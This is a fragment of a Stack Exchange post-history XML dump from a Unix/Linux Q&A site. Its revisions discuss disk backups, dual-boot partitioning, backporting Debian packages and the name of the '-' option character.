  <row Id="26732" PostHistoryTypeId="1" PostId="11028" RevisionGUID="578bc8fe-bf12-4553-88a6-8d6103047927" CreationDate="2011-04-10T18:51:51.373" UserId="3378" Text="Backup whole hard disk Linux" />
  <row Id="26733" PostHistoryTypeId="3" PostId="11028" RevisionGUID="578bc8fe-bf12-4553-88a6-8d6103047927" CreationDate="2011-04-10T18:51:51.373" UserId="3378" Text="ébackupàéhardödiskà" />
  <row Id="26734" PostHistoryTypeId="2" PostId="11029" RevisionGUID="ee5b918c-89c8-4bb7-9b0f-aaed3f3a3876" CreationDate="2011-04-10T18:59:00.973" UserId="1383" Text="`dd` on the device is a way to clone a hard disk." />
  <row Id="26735" PostHistoryTypeId="2" PostId="11030" RevisionGUID="bcb40ad8-45b5-4ae8-9731-7c82c07d9180" CreationDate="2011-04-10T19:20:20.930" UserId="6103" Text=" [PING][1] (Partimage Is Not Ghost) live disk that backs up images of the partition, although it will cause downtime while you make the image&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ping.windowsdream.com/" />
  <row Id="26736" PostHistoryTypeId="2" PostId="11031" RevisionGUID="2b433760-f5c0-4d2c-8872-6e82ed9e040b" CreationDate="2011-04-10T19:31:46.923" UserId="5662" Text="Well if I couldn't use ls within shell mode of emacs, I might switch to eshell mode or just a dired." />
  <row Id="26737" PostHistoryTypeId="2" PostId="11032" RevisionGUID="42f60146-47f0-4ad5-8144-22dc75f2f993" CreationDate="2011-04-10T20:14:56.510" UserId="4604" Text="Adding Error Correcting Codes (ECC) to your backups is definitely a good thing. You trade off some amount of extra space to gain some robustness in the form of data redundancy.&#xD;&#xA;&#xD;&#xA;`vdmfec` looks like a nice little tool. By default, it assumes a block size of b=1024 bytes, and it writes out N=18 blocks for every K=14 blocks of input. This means that by default, the output size is inflated by N-K=4 blocks for every 14 blocks, for a size increase of about 29%. You can play with the parameters K and N to get more or less redundancy, although my feeling is that the defaults are probably okay for most uses.&#xD;&#xA;&#xD;&#xA;You need to be aware of a couple of potential gotchas, though. First, according to the man page:&#xD;&#xA;&#xD;&#xA;&gt;Note  that  the  N,  K, and blocksize parameters are NOT written to the&#xD;&#xA;       output!  You must specify the same parameters when you run the decoder.&#xD;&#xA;       (Actually,  the decoder is capable of explicitly detecting an invalid K&#xD;&#xA;       value, but incorrect blocksize or N values will result  in  bad  blocks&#xD;&#xA;       and decode failure.)&#xD;&#xA;&#xD;&#xA;So remember to document the particular parameters you use for each of your backups. Even if you always use the defaults, it may be a good idea to explicitly document those values, since defaults can change in newer versions of the program.&#xD;&#xA;&#xD;&#xA;Secondly, the man page says this:&#xD;&#xA;&#xD;&#xA;&gt;The  decoder  is  capable  of  reading  from non-seekable media such as&#xD;&#xA;       pipes, however, buffer underruns are not detected and  will  result  in&#xD;&#xA;       failure.   Also, when reading from a pipe the entire file must be read.&#xD;&#xA;       Reading from a seek-able stream can  be  faster  because  only  K  good&#xD;&#xA;       blocks out of N need to be read.&#xD;&#xA;&#xD;&#xA;This means that it is best (and safest) to put `vdmfec` last in your command pipeline when creating your backups. E.g.:&#xD;&#xA;&#xD;&#xA;    tar -cf - /data | gzip | vdmfec &gt; /backups/data.tgz.vdm&#xD;&#xA;&#xD;&#xA;By doing the `vdmfec` encoding last when backing-up, it means you can use the `vdmfec` decoder on a seekable file instead of on a non-seekable pipe when restoring, and thus avoid the potential problems that can arise when using pipes. E.g.:&#xD;&#xA;&#xD;&#xA;    vdmfec_decode /backups/data.tgz.vdm | zcat | tar -xf -&#xD;&#xA;&#xD;&#xA;In summary, I would say that `vdmfec` is a good tool to use to make your backups more robust against data loss due to errors caused by media degradation. Today's hard drives are using ever higher bit densities to achieve their ever increasing multi-terabyte capacities, so I think it is definitely worth adding some extra redundancy to backups, just for safety.&#xD;&#xA;&#xD;&#xA;And finally: Another tool that has a similar function to `vdmfec` is `par2` ([man page](http://manpages.ubuntu.com/manpages/natty/en/man1/par2.1.html)), but it works in an entirely different way. `par2` may be a more suitable tool if you find you need to `split` your archive files, since `par2` was developed to add ECC to large files split into numerous smaller files (e.g. for posting to USENET binaries groups)." />
  <row Id="26738" PostHistoryTypeId="2" PostId="11033" RevisionGUID="3d397bc4-3c85-41be-a48f-bb9a531e7563" CreationDate="2011-04-10T20:32:56.883" UserId="1267" Text="Hi-&#xD;&#xA;&#xD;&#xA;  I have installed Ubuntu 10.10 by giving the option of using entire disk. Now, I would like to Install Fedora alongside UBuntu. I Would like to know whether it's possible or not. If its possible, then please explain me the procedure.&#xD;&#xA;&#xD;&#xA;     " />
  <row Id="26739" PostHistoryTypeId="1" PostId="11033" RevisionGUID="3d397bc4-3c85-41be-a48f-bb9a531e7563" CreationDate="2011-04-10T20:32:56.883" UserId="1267" Text="Installing Fedora along side UBuntu" />
  <row Id="26740" PostHistoryTypeId="3" PostId="11033" RevisionGUID="3d397bc4-3c85-41be-a48f-bb9a531e7563" CreationDate="2011-04-10T20:32:56.883" UserId="1267" Text="éinstallàésystemöinstallationà" />
  <row Id="26741" PostHistoryTypeId="2" PostId="11034" RevisionGUID="4dd22fc4-db26-418d-a086-87e3105ace1a" CreationDate="2011-04-10T20:49:06.993" UserId="688" Text="In your installer (disc, usb stick, ...), at the partitioning stage:&#xD;&#xA;&#xD;&#xA;* Resize your Ubuntu partition to something smaller; a decent partitioner will tell you the limits in which you can do this, for example if the data in a 100GB Ubuntu partition is taking 80GB, you cannot resize it to a smaller size than that number.&#xD;&#xA;* Create a fresh partition in the empty space, and install Fedora there.&#xD;&#xA;&#xD;&#xA;Were I you, I'd let both Fedora and Ubuntu share a home partition, and give each around 20GB partition each. This is just to simplify the set up, [and shouldn't cause issues][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/6344/688" />
  <row Id="26742" PostHistoryTypeId="5" PostId="11034" RevisionGUID="9925e553-bf52-4a44-ae17-6611ca86c4b4" CreationDate="2011-04-10T20:54:13.527" UserId="688" Comment="deleted 7 characters in body; added 52 characters in body" Text="In your installer, at the partitioning stage:&#xD;&#xA;&#xD;&#xA;* Resize your Ubuntu partition to something smaller; a decent partitioner will tell you the limits in which you can do this. For example if the data in a 100GB Ubuntu partition is taking 80GB, you cannot resize it to a smaller size than that.&#xD;&#xA;* Create a fresh partition in the empty space, and install Fedora there.&#xD;&#xA;* Continue with installation as normal.&#xD;&#xA;&#xD;&#xA;Were I you, I'd let both Fedora and Ubuntu share a `/home` partition, and give each around 20GB partition each. This is just to simplify the set up, and shouldn't cause issues if you follow [these guidelines][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/6344/688" />
  <row Id="26743" PostHistoryTypeId="2" PostId="11035" RevisionGUID="beddfdc5-b6ea-4005-85e5-b56616a43d65" CreationDate="2011-04-10T20:57:40.210" UserId="4057" Text="How about using Clonezilla http://clonezilla.org/ for this? Clonezilla LiveCD is very easy to use." />
  <row Id="26744" PostHistoryTypeId="2" PostId="11036" RevisionGUID="a78b5217-71b4-459a-8a88-e6911baf2f27" CreationDate="2011-04-10T20:59:57.993" UserId="6467" Text="Good ol' vim ;) (with sorting, browsing, etc)&#xD;&#xA;&#xD;&#xA;    vim ." />
  <row Id="26745" PostHistoryTypeId="5" PostId="11033" RevisionGUID="3b84ec9e-ac45-4f64-bbbc-cb86aa8f7cb2" CreationDate="2011-04-10T21:00:41.580" UserId="1049" Comment="Fixed capitalization and grammar." Text="I have installed Ubuntu 10.10 by specifying &quot;Use the entire disk&quot; during installation. Now, I would like to install Fedora alongside Ubuntu. I would like to know whether it's possible or not. If it's possible, then please explain the procedure to me.&#xD;&#xA;&#xD;&#xA;     " />
  <row Id="26746" PostHistoryTypeId="4" PostId="11033" RevisionGUID="3b84ec9e-ac45-4f64-bbbc-cb86aa8f7cb2" CreationDate="2011-04-10T21:00:41.580" UserId="1049" Comment="Fixed capitalization and grammar." Text="Installing Fedora along side Ubuntu" />
  <row Id="26747" PostHistoryTypeId="24" PostId="11033" RevisionGUID="3b84ec9e-ac45-4f64-bbbc-cb86aa8f7cb2" CreationDate="2011-04-10T21:00:41.580" Comment="Proposed by 1049 approved by 885 edit id of 256" />
  <row Id="26748" PostHistoryTypeId="25" PostId="11023" RevisionGUID="ade18bec-1d7e-41cc-896e-6772d781f733" CreationDate="2011-04-10T21:09:05.677" Comment="http://twitter.com/#!/StackUnix/status/57188374733258752" />
  <row Id="26749" PostHistoryTypeId="2" PostId="11037" RevisionGUID="a3c450bf-faae-4004-88b1-4fd322800263" CreationDate="2011-04-10T21:31:14.250" UserId="6468" Text="If I have bash shell started (or any other shell with completion), I would probably just type '*' then tab. &#xD;&#xA;&#xD;&#xA;Or as I usually have X started, I may also just do 'nautilus .', but OK that's for humans.&#xD;&#xA;&#xD;&#xA;I may also try /usr/bin/lsattr" />
  <row Id="26750" PostHistoryTypeId="5" PostId="11037" RevisionGUID="f862e562-63d6-45a2-a4c9-2c6b4d79490c" CreationDate="2011-04-10T21:40:59.050" UserId="6468" Comment="added 150 characters in body" Text="If I have bash shell started (or any other shell with completion), I would probably just type '*' then tab. &#xD;&#xA;&#xD;&#xA;Or as I usually have X started, I may also just do 'nautilus .', but OK that's for humans.&#xD;&#xA;&#xD;&#xA;I may also try /usr/bin/lsattr&#xD;&#xA;&#xD;&#xA;But in the real world what I would **really** do if such thing occured to me would certainly be:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install --reinstall coreutils" />
  <row Id="26751" PostHistoryTypeId="5" PostId="11033" RevisionGUID="48c731e5-90a2-42ec-a4db-534b753700fb" CreationDate="2011-04-10T21:45:51.093" UserId="1267" Comment="added 158 characters in body" Text="I have installed Ubuntu 10.10 by specifying &quot;Use the entire disk&quot; during installation. Now, I would like to install Fedora alongside Ubuntu. I would like to know whether it's possible or not. If it's possible, then please explain the procedure to me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ED5Nm.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can you tell me which option to choose and what should i do from here on." />
  <row Id="26752" PostHistoryTypeId="2" PostId="11038" RevisionGUID="417cc00c-3063-408b-9ea4-e2cc1558e24c" CreationDate="2011-04-10T22:16:47.247" UserId="6469" Text="I decided it's (finally) time to make my eee a debian/WinXP dual boot. I have Windows already installed and chose to sacrifice most of an existing data partition for debian. Here's how the partitions look like in the debian installer:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    SCSI2 (0,0,0) (sdb) - 2.0 GB TE USB&#xD;&#xA;        #1              2.0 GB      fat16&#xD;&#xA;    SCSI5 (0,0,0) (sdc) - 160.0 GB ATA ST9160314AS&#xD;&#xA;        #1 prmiary     77.4 GB  B   ntfs&#xD;&#xA;           pri/log     77.4 GB      FREE SPACE&#xD;&#xA;        #3 prmiary      5.2 GB      fat32&#xD;&#xA;        #4 primary     49.4 MB &#xD;&#xA;&#xD;&#xA;From what I read the last two partitions are ASUS' hidden recovery partitions for reinstalling windows when the time comes. I have also read, that there's a general 4 primary partitions limit and I need at least 2 primary partitions (/ and swap) for my debian install. &#xD;&#xA;&#xD;&#xA;What's the best thing to do now? I wouldn't want to lose the recovery partitions (they will come in handy eventually, creating your own USB bootable win image is a pain, and most of the firmware is useful) and I definately wouldn't like to give up mu first non-server debian use. &#xD;&#xA;&#xD;&#xA;Is there any workaround? Am I missing a point somewhere along the way?&#xD;&#xA;&#xD;&#xA;Plus, if I can be choosy I'd still like to have a small fat32 partition for swapping data between systems if necessary&#xD;&#xA;&#xD;&#xA;   " />
  <row Id="26753" PostHistoryTypeId="1" PostId="11038" RevisionGUID="417cc00c-3063-408b-9ea4-e2cc1558e24c" CreationDate="2011-04-10T22:16:47.247" UserId="6469" Text="Dual boot debian/Win XP - hidden partitions and primary partition limit" />
  <row Id="26754" PostHistoryTypeId="3" PostId="11038" RevisionGUID="417cc00c-3063-408b-9ea4-e2cc1558e24c" CreationDate="2011-04-10T22:16:47.247" UserId="6469" Text="édebianàépartitionàéwindowsàédualöbootà" />
  <row Id="26755" PostHistoryTypeId="5" PostId="11038" RevisionGUID="d0c7b037-0a97-4338-8b8d-0a592caf1379" CreationDate="2011-04-10T22:21:57.117" UserId="6469" Comment="added 140 characters in body" Text="I decided it's (finally) time to make my eee a debian/WinXP dual boot. I have Windows already installed and chose to sacrifice most of an existing data partition for debian. Here's how the partitions look like in the debian installer:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    SCSI2 (0,0,0) (sdb) - 2.0 GB TE USB&#xD;&#xA;        #1              2.0 GB      fat16&#xD;&#xA;    SCSI5 (0,0,0) (sdc) - 160.0 GB ATA ST9160314AS&#xD;&#xA;        #1 prmiary     77.4 GB  B   ntfs&#xD;&#xA;           pri/log     77.4 GB      FREE SPACE&#xD;&#xA;        #3 prmiary      5.2 GB      fat32&#xD;&#xA;        #4 primary     49.4 MB &#xD;&#xA;&#xD;&#xA;From what I read the last two partitions are ASUS' hidden recovery partitions for reinstalling windows when the time comes. I have also read, that there's a general 4 primary partitions limit and I need at least 2 primary partitions (/ and swap) for my debian install. &#xD;&#xA;&#xD;&#xA;The limit is why (I believe), when I create one partition on the FREE SPACE, the rest of it is described as 'unusable' by the installer.&#xD;&#xA;&#xD;&#xA;What's the best thing to do now? I wouldn't want to lose the recovery partitions (they will come in handy eventually, creating your own USB bootable win image is a pain, and most of the firmware is useful) and I definately wouldn't like to give up mu first non-server debian use. &#xD;&#xA;&#xD;&#xA;Is there any workaround? Am I missing a point somewhere along the way?&#xD;&#xA;&#xD;&#xA;Plus, if I can be choosy I'd still like to have a small fat32 partition for swapping data between systems if necessary&#xD;&#xA;&#xD;&#xA;   " />
  <row Id="26756" PostHistoryTypeId="2" PostId="11039" RevisionGUID="60d28ee4-20f9-4d6c-99de-b63a16f5514d" CreationDate="2011-04-10T22:37:05.277" UserId="4671" Text="Wanting more recent packages is a common issue on any OS. Debian's release cycle has averaged 2 years in recent years, so towards the end of this cycle, it is perhaps a more pressing issue. One way of mitigating this is to move to testing towards the end of the stable release cycle, when the next version is almost stable. It is not clear from the question whether it is talking about stable on more generally about testing and/or unstable as well. Regardless, having the most recent version can be an issue even if one if running unstable, as the most recent version may not be packaged yet. Debian developers/packagers are volunteers, so they get bored, get busy with other things, with the result that the package languishes.&#xD;&#xA;&#xD;&#xA;For simplicity and concreteness I assume in what follows that the plan is to backport a package to stable, but it applies more generally. So, here is what I do if I want a more recent version of software that is not present in stable, in an approximate order.&#xD;&#xA;&#xD;&#xA; 1. Look for the package in backports. Sometimes you can find a package that is recent enough to satisfy your purposes. However, it is often the case that these packages are outdated compared to the version in unstable or experimental or upstream.&#xD;&#xA; &#xD;&#xA; 2. Try to install the package directly&#xD;&#xA;    from testing, unstable, or&#xD;&#xA;    experimental. If stable has not&#xD;&#xA;    diverged much from whatever version&#xD;&#xA;    you are trying to install from, this&#xD;&#xA;    may work. You'll know this approach&#xD;&#xA;    is a bad one if the system starts&#xD;&#xA;    trying to  install or upgrade basic&#xD;&#xA;    packages from the more recent&#xD;&#xA;    version. Suppose you are trying to&#xD;&#xA;    install from unstable, then&#xD;&#xA;    &#xD;&#xA;        apt-get install packagename/unstable&#xD;&#xA;    &#xD;&#xA;    is the first thing to try. With&#xD;&#xA;    versions of apt in stable, this will&#xD;&#xA;    often fail, as it requires other&#xD;&#xA;    packages from unstable, and this&#xD;&#xA;    incantation only ups the preference&#xD;&#xA;    of packagename sufficiently high for&#xD;&#xA;    it to be installed in unstable. If&#xD;&#xA;    you don't understand what this&#xD;&#xA;    means, go away and read `man&#xD;&#xA;    apt_preferences`. So carry on add&#xD;&#xA;    dependencies from unstable, making&#xD;&#xA;    sure that it is not trying to&#xD;&#xA;    upgrade basic packages. For example,&#xD;&#xA;    if it starts trying to upgrade libc6&#xD;&#xA;    or X or KDE or Gnome, abort&#xD;&#xA;    immediately. It is usually fine if&#xD;&#xA;    it is tries to upgrade other&#xD;&#xA;    packages from the same source&#xD;&#xA;    package, as these are usually&#xD;&#xA;    tightly coupled together. To see&#xD;&#xA;    what source package a binary package&#xD;&#xA;    depends on, do&#xD;&#xA;    &#xD;&#xA;        apt-cache showsrc packagename&#xD;&#xA;    &#xD;&#xA;    Since lots of stuff depends on the&#xD;&#xA;    GNU C library (libc6) this used to&#xD;&#xA;    be a problem. More recently, the API&#xD;&#xA;    seems to have stabilized, so it is&#xD;&#xA;    now more often possible to get away&#xD;&#xA;    with not having to upgrade it. If a&#xD;&#xA;    package satisfies it's runtime&#xD;&#xA;    dependencies on stable, but still&#xD;&#xA;    does not work correctly, file a bug.&#xD;&#xA; &#xD;&#xA; 3. Backport the package yourself from&#xD;&#xA;    testing, unstable or experimental.&#xD;&#xA;    &#xD;&#xA;    As mentioned above, backports is one&#xD;&#xA;    option, but often these packages are&#xD;&#xA;    outdated compared to the version in&#xD;&#xA;    unstable or experimental or&#xD;&#xA;    upstream.&#xD;&#xA;    &#xD;&#xA;    This can often require a recursive&#xD;&#xA;    dependency build loop type thing.&#xD;&#xA;    You first    need to get the build&#xD;&#xA;    dependencies with&#xD;&#xA;    &#xD;&#xA;        apt-get build-dep packagename    &#xD;&#xA;&#xD;&#xA;    If this fails because one of the&#xD;&#xA;    dependencies is not recent enough,&#xD;&#xA;    you'll need to backport that&#xD;&#xA;    dependency first. This can spriral&#xD;&#xA;    out of control. I usually give up if&#xD;&#xA;    I have to deal with more than 2&#xD;&#xA;    levels of recursion. Note however, that&#xD;&#xA;    the real dependencies aren't necessarily&#xD;&#xA;    as tight as stated ie. an older version may&#xD;&#xA;    work. The packager often don't try to find&#xD;&#xA;    the oldest version of a build (or, indeed, runtime)&#xD;&#xA;    dependency that will work.     &#xD;&#xA;  &#xD;&#xA; 5. Build packages that are more recent&#xD;&#xA;    than the most recent packages in&#xD;&#xA;    testing/unstable/experimental.&#xD;&#xA;    This can be relatively challenging, but still sometimes&#xD;&#xA;    surprisingly doable. The first thing&#xD;&#xA;    to note is that if you are trying to&#xD;&#xA;    package a more recent version of a&#xD;&#xA;    package that is already in Debian,&#xD;&#xA;    you are already starting with a big&#xD;&#xA;    advantage, namely that you have the&#xD;&#xA;    existing packaging to work with. Just&#xD;&#xA;    do&#xD;&#xA;        &#xD;&#xA;        apt-get source packagename&#xD;&#xA;        &#xD;&#xA;    and `apt-get` will download the&#xD;&#xA;    corresponding source package,&#xD;&#xA;    including the debian subdirectory&#xD;&#xA;    where the packaging lives. Note&#xD;&#xA;    furthermore that these days, this&#xD;&#xA;    packaging often lives inside some&#xD;&#xA;    verson control repository (git seems&#xD;&#xA;    popular with Debian) and stable apt&#xD;&#xA;    (currently 0.8.10.3) helpfully tells&#xD;&#xA;    you where this is when  you invoke&#xD;&#xA;    `apt-get source`. You should look at&#xD;&#xA;    this, because the packagers may have&#xD;&#xA;    more recent versions of the&#xD;&#xA;    packaging than corresponds to any&#xD;&#xA;    released package.&#xD;&#xA;&#xD;&#xA;    Eg.&#xD;&#xA;&#xD;&#xA;        $ apt-get source mercurial&#xD;&#xA;          Reading package lists... Done&#xD;&#xA;          Building dependency tree       &#xD;&#xA;          Reading state information... Done&#xD;&#xA;          NOTICE: 'mercurial' packaging is maintained in the 'Svn' version control system at:&#xD;&#xA;          svn://svn.debian.org/python-apps/packages/mercurial/trunk&#xD;&#xA;&#xD;&#xA;    If the package is badly out of date, you may have to make modifications to the    &#xD;&#xA;    package, refresh the applied patches but it is still usually a good starting  &#xD;&#xA;    point. Debian seems to be in the process of standardizing package management on    &#xD;&#xA;    quilt as per the so-called 3.0 format, so that helps with package refreshing.&#xD;&#xA;    &#xD;&#xA;    I'll conclude with a real-life example of how I backport the TeX package   &#xD;&#xA;    [pgf](http://packages.qa.debian.org/p/pgf.html). The last packaged version of pgf was 2.00 in 2008, and since then 2.10 had been released. See the discussion in &#xD;&#xA;[Please update to newest stable version of pgf (2.10)](http://bugs.debian.org/606128), and my followup bug with a patch, [pgf: patches against 2.0 Debian packaging](http://bugs.debian.org/618440). As it turns out, the Debian packaging of pgf was very simple, and I just had to change one line in the 2.10 packaging to make it work. I ended up quelling all the lintian complaints as well, but that was strictly optional.&#xD;&#xA; &#xD;&#xA;" />
  <row Id="26757" PostHistoryTypeId="5" PostId="6974" RevisionGUID="e7e00186-9b8c-45bc-9ef8-5eca82a19aa0" CreationDate="2011-04-10T22:37:33.827" UserId="3169" Comment="deleted 52 characters in body" Text="Two of the most important UNIX books, [The UNIX Programming Environment][UPE] and [The C Programming Language][C] both refer to it as minus.&#xD;&#xA;&#xD;&#xA;[Unix Programming Environment, page 13](http://books.google.com.au/books?id=mcO0Vh9efE0C&amp;q=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;dq=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;hl=en&amp;ei=SaKhTffPCY_svQOapLSBBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; Options follow the command name on the command line, and are usually made up of an initial minus sign (`-`) and a single letter.&#xD;&#xA;&#xD;&#xA;[C Progamming Language, 2nd Edition, page 116](http://books.google.com.au/books?id=HHhGAAAAYAAJ&amp;q=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;dq=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;hl=en&amp;ei=k6KhTdbsNoKEvAPD3KWOBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; A common convention for C programs on UNIX systems is that an argument that begins with a minus sign introduces an optional flag.&#xD;&#xA;&#xD;&#xA;Many UNIX users will have read one or both of these books, so may have have taken the terminology from there.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Calling it a minus makes sense, because [the character you are typing][6] is a [hyphen-minus][1] (`-`).  &#xD;&#xA;A [dash][2] (`—`) is longer.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), so saying &quot;dash&quot; when you mean &quot;minus&quot; could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/lucid/man7/groff_char.7.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D&#xD;&#xA;  [UPE]: http://en.wikipedia.org/wiki/The_Unix_Programming_Environment&#xD;&#xA;  [C]: http://en.wikipedia.org/wiki/The_C_Programming_Language" />
  <row Id="26758" PostHistoryTypeId="5" PostId="11039" RevisionGUID="7c7a53c0-340b-41e4-8c50-19331cf2b116" CreationDate="2011-04-10T22:43:00.640" UserId="4671" Comment="added 2 characters in body; added 48 characters in body" Text="Wanting more recent packages is a common issue on any OS. Debian's release cycle has averaged 2 years in recent years, so towards the end of this cycle, it is perhaps a more pressing issue. One way of mitigating this is to move to testing towards the end of the stable release cycle, when the next version is almost stable. It is not clear from the question whether it is talking about stable on more generally about testing and/or unstable as well. Regardless, having the most recent version can be an issue even if one if running unstable, as the most recent version may not be packaged yet. Debian developers/packagers are volunteers, so they get bored, get busy with other things, with the result that the package languishes.&#xD;&#xA;&#xD;&#xA;For simplicity and concreteness I assume in what follows that the plan is to backport a package to stable, but it applies more generally. So, here is what I do if I want a more recent version of software that is not present in stable, in an approximate order.&#xD;&#xA;&#xD;&#xA; 1. Look for the package in backports. Sometimes you can find a package that is recent enough to satisfy your purposes. However, it is often the case that these packages are outdated compared to the version in unstable or experimental or upstream.&#xD;&#xA; &#xD;&#xA; 2. Try to install the package directly&#xD;&#xA;    from testing, unstable, or&#xD;&#xA;    experimental. If stable has not&#xD;&#xA;    diverged much from whatever version&#xD;&#xA;    you are trying to install from, this&#xD;&#xA;    may work. You'll know this approach&#xD;&#xA;    is a bad one if the system starts&#xD;&#xA;    trying to  install or upgrade basic&#xD;&#xA;    packages from the more recent&#xD;&#xA;    version. Suppose you are trying to&#xD;&#xA;    install from unstable, then&#xD;&#xA;    &#xD;&#xA;        apt-get install packagename/unstable&#xD;&#xA;    &#xD;&#xA;    is the first thing to try. With&#xD;&#xA;    versions of apt in stable, this will&#xD;&#xA;    often fail, as it requires other&#xD;&#xA;    packages from unstable, and this&#xD;&#xA;    incantation only ups the preference&#xD;&#xA;    of `packagename` sufficiently high for&#xD;&#xA;    it to be installed in unstable. If&#xD;&#xA;    you don't understand what this&#xD;&#xA;    means, go away and read `man&#xD;&#xA;    apt_preferences`. Carry on adding&#xD;&#xA;    dependencies from unstable, making&#xD;&#xA;    sure that it is not trying to&#xD;&#xA;    upgrade basic packages. For example,&#xD;&#xA;    if it starts trying to upgrade libc6&#xD;&#xA;    or X or KDE or Gnome, abort&#xD;&#xA;    immediately. It is usually fine if&#xD;&#xA;    it is tries to upgrade other&#xD;&#xA;    packages from the same source&#xD;&#xA;    package, as these are usually&#xD;&#xA;    tightly coupled together. To see&#xD;&#xA;    what source package a binary package&#xD;&#xA;    depends on, do&#xD;&#xA;    &#xD;&#xA;        apt-cache showsrc packagename&#xD;&#xA;    &#xD;&#xA;    Since lots of stuff depends on the&#xD;&#xA;    GNU C library (libc6) this used to&#xD;&#xA;    be a problem. More recently, the API&#xD;&#xA;    seems to have stabilized, so it is&#xD;&#xA;    now more often possible to get away&#xD;&#xA;    with not having to upgrade it. If a&#xD;&#xA;    package satisfies it's runtime&#xD;&#xA;    dependencies on stable, but still&#xD;&#xA;    does not work correctly, file a bug.&#xD;&#xA; &#xD;&#xA; 3. Backport the package yourself from&#xD;&#xA;    testing, unstable or experimental.&#xD;&#xA;    &#xD;&#xA;    As mentioned above, backports is one&#xD;&#xA;    option, but often these packages are&#xD;&#xA;    outdated compared to the version in&#xD;&#xA;    unstable or experimental or&#xD;&#xA;    upstream.&#xD;&#xA;    &#xD;&#xA;    This can often require a recursive&#xD;&#xA;    dependency build loop type thing.&#xD;&#xA;    You first    need to get the build&#xD;&#xA;    dependencies with&#xD;&#xA;    &#xD;&#xA;        apt-get build-dep packagename    &#xD;&#xA;&#xD;&#xA;    If this fails because one of the&#xD;&#xA;    dependencies is not recent enough,&#xD;&#xA;    you'll need to backport that&#xD;&#xA;    dependency first. This can spriral&#xD;&#xA;    out of control. I usually give up if&#xD;&#xA;    I have to deal with more than 2&#xD;&#xA;    levels of recursion. Note however, that&#xD;&#xA;    the real dependencies aren't necessarily&#xD;&#xA;    as tight as stated ie. an older version may&#xD;&#xA;    work. The packager often don't try to find&#xD;&#xA;    the oldest version of a build (or, indeed, runtime)&#xD;&#xA;    dependency that will work.     &#xD;&#xA;  &#xD;&#xA; 5. Build packages that are more recent&#xD;&#xA;    than the most recent packages in&#xD;&#xA;    testing/unstable/experimental.&#xD;&#xA;    This can be relatively challenging, but still sometimes&#xD;&#xA;    surprisingly doable. The first thing&#xD;&#xA;    to note is that if you are trying to&#xD;&#xA;    package a more recent version of a&#xD;&#xA;    package that is already in Debian,&#xD;&#xA;    you are already starting with a big&#xD;&#xA;    advantage, namely that you have the&#xD;&#xA;    existing packaging to work with. Just&#xD;&#xA;    do&#xD;&#xA;        &#xD;&#xA;        apt-get source packagename&#xD;&#xA;        &#xD;&#xA;    and `apt-get` will download the&#xD;&#xA;    corresponding source package,&#xD;&#xA;    including the debian subdirectory&#xD;&#xA;    where the packaging lives. Note&#xD;&#xA;    furthermore that these days, this&#xD;&#xA;    packaging often lives inside some&#xD;&#xA;    verson control repository (git seems&#xD;&#xA;    popular with Debian) and stable apt&#xD;&#xA;    (currently 0.8.10.3) helpfully tells&#xD;&#xA;    you where this is when  you invoke&#xD;&#xA;    `apt-get source`. You should look at&#xD;&#xA;    this, because the packagers may have&#xD;&#xA;    more recent versions of the&#xD;&#xA;    packaging than corresponds to any&#xD;&#xA;    released package.&#xD;&#xA;&#xD;&#xA;    Eg.&#xD;&#xA;&#xD;&#xA;        $ apt-get source mercurial&#xD;&#xA;          Reading package lists... Done&#xD;&#xA;          Building dependency tree       &#xD;&#xA;          Reading state information... Done&#xD;&#xA;          NOTICE: 'mercurial' packaging is maintained in the 'Svn' version control system at:&#xD;&#xA;          svn://svn.debian.org/python-apps/packages/mercurial/trunk&#xD;&#xA;&#xD;&#xA;    If the package is badly out of date, you may have to make modifications to the    &#xD;&#xA;    package, refresh the applied patches but it is still usually a good starting  &#xD;&#xA;    point. Debian seems to be in the process of standardizing package management on    &#xD;&#xA;    quilt as per the so-called 3.0 format, so that helps with package refreshing.&#xD;&#xA;    &#xD;&#xA;    I'll conclude with a real-life example of how I backported the TeX package   &#xD;&#xA;    [pgf](http://packages.qa.debian.org/p/pgf.html). The last packaged version of     &#xD;&#xA;    pgf was 2.00 in 2008, and since then 2.10 had been released. See the discussion &#xD;&#xA;    in [Please update to newest stable version of pgf  &#xD;&#xA;    